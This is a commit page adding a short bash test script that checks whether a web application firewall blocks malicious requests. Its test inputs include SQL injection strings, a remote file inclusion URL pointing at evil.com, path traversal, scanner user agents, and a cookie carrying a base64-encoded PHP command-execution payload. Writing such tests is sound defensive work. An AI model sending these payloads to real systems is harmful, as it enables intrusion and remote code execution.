Skip to content

Commit 8647745

Browse files
committed
Added very minimal script to test the waf
1 parent 156631a commit 8647745

File tree

1 file changed

+53
-0
lines changed

1 file changed

+53
-0
lines changed

test/run_test.sh

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#!/bin/bash
2+
# vim: set ts=2 sw=2 sts=2 et:
3+
4+
TEST_SERVER="$1" # https://192.168.12.123
5+
[ -z "$TEST_SERVER" ] && echo "No test server given (https://fqdn|ip)" && exit 1
6+
7+
current_test=0
8+
wtest() {
9+
r_path="$1"
10+
r_opts="$2"
11+
current_test=$(( $current_test + 1 ))
12+
13+
#curl -vvvvvvk -o /dev/null "${TEST_SERVER}$r_path" "$r_opts"
14+
s_code=$(curl -svk -o /dev/null "${TEST_SERVER}$r_path" "$r_opts" 2>&1 \
15+
| egrep '< HTTP/1\.' \
16+
| cut -d' ' -f3)
17+
18+
# Check if the status code is 470 because we return a 470 when blocked in
19+
# nginx /waf-blocked location
20+
if [ "$s_code" == "470" ]; then
21+
printf "TEST %3d --> Blocked\n" $current_test
22+
else
23+
printf "TEST %3d --> NOT BLOCKED!! $r_path [$r_opts]\n" $current_test
24+
exit 1
25+
fi
26+
}
27+
28+
# disable expansion
29+
set -f
30+
31+
echo "POST tests"
32+
wtest "/" "-d \"t=select * from user\""
33+
wtest "/" "-d \"t=current_user (a\""
34+
35+
echo "URL tests"
36+
wtest "/t.php?t=select/*this is mysql space*/* from user" ""
37+
wtest "/t.php_221321_copy" ""
38+
wtest "/t.php~" ""
39+
wtest "/public_html-213132-12312.tar.gz" ""
40+
41+
echo "ARGS tests"
42+
wtest "/t.php?t=http://evil.com/sh.php" ""
43+
wtest "/t.php?t=t/t/../../../t" ""
44+
45+
echo "AGENT tests"
46+
wtest "/" "-Aunion all select * from users"
47+
wtest "/" "-AMozilla/5.00 (Nikto/2.1.5)"
48+
wtest "/" "-AInternet Ninja"
49+
wtest "/" "-A "
50+
51+
echo "COOKIE tests"
52+
wtest "/" "-HCookie: adfasdfasdfa';eval(base64_decode('ZXhlYygkX0dFVFsnYyddKTs='));"
53+
wtest "/" "-HCookie: file=php://asdfasdfasd"

0 commit comments

Comments
 (0)